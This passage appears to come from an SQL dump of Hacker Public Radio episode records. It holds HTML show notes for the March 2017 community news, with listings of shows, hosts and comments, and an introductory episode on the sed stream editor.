href=\"https://hackerpublicradio.org/eps.php?id=2221#comments\" target=\"_blank\">hpr2221</a></strong>\n(2017-02-06) \"<em>HPR Community News for January 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2221#1\" target=\"_blank\">Comment 1</a>:\nbrian on 2017-02-06:\n\"sorry\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2221#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2017-02-08:\n\"You did that unscripted ?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2227#comments\" target=\"_blank\">hpr2227</a></strong>\n(2017-02-14) \"<em>FOSDEM 2017 H Building and the Hallway track</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2227#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2017-02-28:\n\"For the whole series\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2229#comments\" target=\"_blank\">hpr2229</a></strong>\n(2017-02-16) \"<em>linux.conf.au 2017: Kathy Reid</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2229#1\" target=\"_blank\">Comment 1</a>:\nGuido on 2017-02-16:\n\"Great to hear about the big picture\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2235#comments\" target=\"_blank\">hpr2235</a></strong>\n(2017-02-24) \"<em>linux.conf.au 2017: First timers interviews</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2235#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2017-02-27:\n\"Great Interviews!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2236#comments\" target=\"_blank\">hpr2236</a></strong>\n(2017-02-27) \"<em>Hoarding Raspberry Pis</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2236#1\" target=\"_blank\">Comment 1</a>:\nsigflup on 2017-02-21:\n\"right on\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2236#2\" target=\"_blank\">Comment 2</a>:\njezra on 2017-02-27:\n\"Wonderful\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2261,'2017-04-03','HPR Community News for March 2017',4221,'HPR Volunteers talk about shows released and comments posted in March 2017','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=350\" target=\"_blank\">BobJonkman</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=351\" target=\"_blank\">@einebiene</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2238\" target=\"_blank\">2238</a></strong></td>\n    <td>Wed</td>\n    <td>2017-03-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2238\" target=\"_blank\">Gnu Awk - Part 6</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2239\" target=\"_blank\">2239</a></strong></td>\n    <td>Thu</td>\n    <td>2017-03-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2239\" target=\"_blank\">making jerky</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2240\" target=\"_blank\">2240</a></strong></td>\n    <td>Fri</td>\n    <td>2017-03-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2240\" target=\"_blank\">Amateur Radio Round Table</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2241\" target=\"_blank\">2241</a></strong></td>\n    <td>Mon</td>\n    <td>2017-03-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2241\" target=\"_blank\">HPR Community News for February 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2242\" target=\"_blank\">2242</a></strong></td>\n    <td>Tue</td>\n    <td>2017-03-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2242\" target=\"_blank\">Interview with Colin J. Mills, organizer of KW Linuxfest</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=350\" target=\"_blank\">BobJonkman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2243\" target=\"_blank\">2243</a></strong></td>\n    <td>Wed</td>\n    <td>2017-03-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2243\" target=\"_blank\">My Quick Tips E01</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2244\" target=\"_blank\">2244</a></strong></td>\n    <td>Thu</td>\n    <td>2017-03-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2244\" target=\"_blank\">building lineageOS</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2245\" target=\"_blank\">2245</a></strong></td>\n    <td>Fri</td>\n    <td>2017-03-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2245\" target=\"_blank\">Managing tags on HPR episodes - 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2246\" target=\"_blank\">2246</a></strong></td>\n    <td>Mon</td>\n    <td>2017-03-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2246\" target=\"_blank\">My Custom RSS Comic and Security Feed</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2247\" target=\"_blank\">2247</a></strong></td>\n    <td>Tue</td>\n    <td>2017-03-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2247\" target=\"_blank\">HPR New Year show 1</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2248\" target=\"_blank\">2248</a></strong></td>\n    <td>Wed</td>\n    <td>2017-03-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2248\" target=\"_blank\">HPR New Year show episode 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2249\" target=\"_blank\">2249</a></strong></td>\n    <td>Thu</td>\n    <td>2017-03-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2249\" target=\"_blank\">HPR New Year show episode 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2250\" target=\"_blank\">2250</a></strong></td>\n    <td>Fri</td>\n    <td>2017-03-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2250\" target=\"_blank\">HPR New Year show episode 4</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2251\" target=\"_blank\">2251</a></strong></td>\n    <td>Mon</td>\n    <td>2017-03-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2251\" target=\"_blank\">HPR New Year show episode 5</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2252\" target=\"_blank\">2252</a></strong></td>\n    <td>Tue</td>\n    <td>2017-03-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2252\" target=\"_blank\">HPR New Year show episode 6</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2253\" target=\"_blank\">2253</a></strong></td>\n    <td>Wed</td>\n    <td>2017-03-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2253\" target=\"_blank\">How to make and use a stencil</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=351\" target=\"_blank\">@einebiene</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2254\" target=\"_blank\">2254</a></strong></td>\n    <td>Thu</td>\n    <td>2017-03-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2254\" target=\"_blank\">Introduction to Model Rocketry</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2255\" target=\"_blank\">2255</a></strong></td>\n    <td>Fri</td>\n    <td>2017-03-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2255\" target=\"_blank\">The Good Ship HPR</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2256\" target=\"_blank\">2256</a></strong></td>\n    <td>Mon</td>\n    <td>2017-03-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2256\" target=\"_blank\">Modular Game Scaling</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=317\" target=\"_blank\">Eric Duhamel</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2257\" target=\"_blank\">2257</a></strong></td>\n    <td>Tue</td>\n    <td>2017-03-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2257\" target=\"_blank\">Watt OS</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2258\" target=\"_blank\">2258</a></strong></td>\n    <td>Wed</td>\n    <td>2017-03-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2258\" target=\"_blank\">Killer Keilbasa</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill &quot;NFMZ1&quot; Miller</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2259\" target=\"_blank\">2259</a></strong></td>\n    <td>Thu</td>\n    <td>2017-03-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2259\" target=\"_blank\">Minidiscs: A Response to HPR 2212</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2260\" target=\"_blank\">2260</a></strong></td>\n    <td>Fri</td>\n    <td>2017-03-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2260\" target=\"_blank\">Managing tags on HPR episodes - 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-March/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-March/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 37 comments in total.</p>\n<p>There are 6 comments on\n6 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2178#comments\" target=\"_blank\">hpr2178</a></strong>\n(2016-12-07) \"<em>Dice Mixer</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2178#1\" target=\"_blank\">Comment 1</a>:\nFiftyOneFifty on 2017-03-04:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2191#comments\" target=\"_blank\">hpr2191</a></strong>\n(2016-12-26) \"<em>Building a Soundboard Android App with App Inventor</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2191#3\" target=\"_blank\">Comment 3</a>:\nWindigo on 2017-03-28:\n\"Fantastic\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2206#comments\" target=\"_blank\">hpr2206</a></strong>\n(2017-01-16) \"<em>Podcasts I Listen To</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=348\" target=\"_blank\">Reg A</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2206#3\" target=\"_blank\">Comment 3</a>:\nBookewyrmm on 2017-03-06:\n\"thanks and sorry\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2219#comments\" target=\"_blank\">hpr2219</a></strong>\n(2017-02-02) \"<em>The Musings of a Novice Cable TV Cord Cutter</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=348\" target=\"_blank\">Reg A</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2219#1\" target=\"_blank\">Comment 1</a>:\nRegina Trolman on 2017-03-27:\n\"Loved it!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2221#comments\" target=\"_blank\">hpr2221</a></strong>\n(2017-02-06) \"<em>HPR Community News for January 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2221#3\" target=\"_blank\">Comment 3</a>:\nKrayon on 2017-03-01:\n\"OGGBot\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2236#comments\" target=\"_blank\">hpr2236</a></strong>\n(2017-02-27) \"<em>Hoarding Raspberry Pis</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2236#3\" target=\"_blank\">Comment 3</a>:\nAlpha32 on 2017-03-29:\n\"Great!\"</li></ul><br/>\n</li></ul>\n<p>There are 31 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2239#comments\" target=\"_blank\">hpr2239</a></strong>\n(2017-03-02) \"<em>making jerky</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2239#1\" target=\"_blank\">Comment 1</a>:\noperat0r on 2017-02-07:\n\"YuMMM hacking meat\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2239#2\" target=\"_blank\">Comment 2</a>:\njezra on 2017-03-02:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2239#3\" target=\"_blank\">Comment 3</a>:\n@einebiene on 2017-03-22:\n\"Mhhhhh\"</li></ul><br/>\n</li><li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=2240#comments\" target=\"_blank\">hpr2240</a></strong>\n(2017-03-03) \"<em>Amateur Radio Round Table</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://www.hackerpublicradio.org/eps.php?id=2240#1\" target=\"_blank\">Comment 1</a>:\ndavidWHITMAN on 2017-03-08:\n\"Ham Radio Roundtable\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2245#comments\" target=\"_blank\">hpr2245</a></strong>\n(2017-03-10) \"<em>Managing tags on HPR episodes - 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2245#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2017-03-09:\n\"Erm...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2245#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-03-10:\n\"Oops!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2245#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2017-03-10:\n\"Listen to the entities\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2246#comments\" target=\"_blank\">hpr2246</a></strong>\n(2017-03-13) \"<em>My Custom RSS Comic and Security Feed</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2246#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2017-03-16:\n\"Good idea\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2248#comments\" target=\"_blank\">hpr2248</a></strong>\n(2017-03-15) \"<em>HPR New Year show episode 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2248#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2017-03-15:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2249#comments\" target=\"_blank\">hpr2249</a></strong>\n(2017-03-16) \"<em>HPR New Year show episode 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2249#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2017-03-15:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2249#2\" target=\"_blank\">Comment 2</a>:\nKen fallon on 2017-03-27:\n\"Fact check Scotland brexit not 100%\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2252#comments\" target=\"_blank\">hpr2252</a></strong>\n(2017-03-21) \"<em>HPR New Year show episode 6</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2252#1\" target=\"_blank\">Comment 1</a>:\nclinton roy on 2017-03-22:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2253#comments\" target=\"_blank\">hpr2253</a></strong>\n(2017-03-22) \"<em>How to make and use a stencil</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=351\" target=\"_blank\">@einebiene</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2017-03-21:\n\"Thank you\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#2\" target=\"_blank\">Comment 2</a>:\nBob Jonkman on 2017-03-22:\n\"Consultant\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#3\" target=\"_blank\">Comment 3</a>:\neinebiene on 2017-03-22:\n\"German Download Page\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#4\" target=\"_blank\">Comment 4</a>:\nbrian on 2017-03-22:\n\"food not bombs\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#5\" target=\"_blank\">Comment 5</a>:\nph on 2017-03-22:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#6\" target=\"_blank\">Comment 6</a>:\nb-yeezi on 2017-03-22:\n\"Welcome new host!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#7\" target=\"_blank\">Comment 7</a>:\nBob Jonkman on 2017-03-23:\n\"Consultant\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2253#8\" target=\"_blank\">Comment 8</a>:\ndroops on 2017-03-30:\n\"Very cool\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2255#comments\" target=\"_blank\">hpr2255</a></strong>\n(2017-03-24) \"<em>The Good Ship HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2255#1\" target=\"_blank\">Comment 1</a>:\nTony Hughes on 2017-03-01:\n\"hpr 2255\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2255#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-03-06:\n\"Nice idea\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2255#3\" target=\"_blank\">Comment 3</a>:\nknightwise on 2017-03-25:\n\"How about a dropbox folder.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2255#4\" target=\"_blank\">Comment 4</a>:\nM1rr0r5h4d35 on 2017-03-25:\n\"Very interesting show.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2255#5\" target=\"_blank\">Comment 5</a>:\ndroops on 2017-03-29:\n\"New Hosts\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2255#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2017-03-30:\n\"Thanks for the comments\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2258#comments\" target=\"_blank\">hpr2258</a></strong>\n(2017-03-29) \"<em>Killer Keilbasa</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=346\" target=\"_blank\">Bill \"NFMZ1\" Miller</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2258#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2017-03-29:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2258#2\" target=\"_blank\">Comment 2</a>:\nXoke on 2017-03-30:\n\"Little Smokies\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2259#comments\" target=\"_blank\">hpr2259</a></strong>\n(2017-03-30) \"<em>Minidiscs: A Response to HPR 2212</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2259#1\" target=\"_blank\">Comment 1</a>:\ndroops on 2017-03-30:\n\"Minidisc\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2259#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-03-30:\n\"Interesting\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2259#3\" target=\"_blank\">Comment 3</a>:\nJonathan Kulp on 2017-03-31:\n\"Minidisk Walkman\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1976,'2016-02-29','Introduction to sed - part 1',2668,'What sed is and how to use it in a simple way','<h1 id=\"introduction-to-sed---part-1\">Introduction to sed - part 1</h1>\r\n<p><strong><code>sed</code></strong> is an editor which expects to read a stream of text, apply some action to the text and send it to another stream. It filters and transforms the text along the way according to instructions provided to it. These instructions are referred to as a <code>sed</code> script.</p>\r\n<p>The name \"<em>sed</em>\" comes from <em><strong>S</strong>tream <strong>Ed</strong>itor</em>, and <code>sed</code> was developed from 1973 to 1974 as a Unix utility by Lee E. McMahon of Bell Labs. GNU <code>sed</code> added several new features including better documentation, though most of it is only available on the command line through the <code>info</code> command. The <a href=\"https://www.gnu.org/software/sed/manual/sed.html\" title=\"GNU sed manual\">full manual</a> is of course available on the web.</p>\r\n<p>To read the rest of the notes for this episode follow this link: <a href=\"https://hackerpublicradio.org/eps/hpr1976/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1976/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>GNU <code>sed</code> manual: <a href=\"https://www.gnu.org/software/sed/manual/sed.html\" class=\"uri\">https://www.gnu.org/software/sed/manual/sed.html</a></li>\r\n<li>\"<em>Sed - An Introduction and Tutorial</em>\" by Bruce Barnett: <a href=\"https://www.grymoire.com/Unix/Sed.html\" class=\"uri\">https://www.grymoire.com/Unix/Sed.html</a></li>\r\n<li>Example file for processing: <a href=\"https://hackerpublicradio.org/eps/hpr1976/sed_demo1.txt\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1976/sed_demo1.txt</a> (extracted from <a href=\"https://hackerpublicradio.org/about.php\" class=\"uri\">https://hackerpublicradio.org/about.php</a>)</li>\r\n</ul>',225,90,1,'CC-BY-SA','sed,stream editor,option,regular expression,substitution',0,0,1),
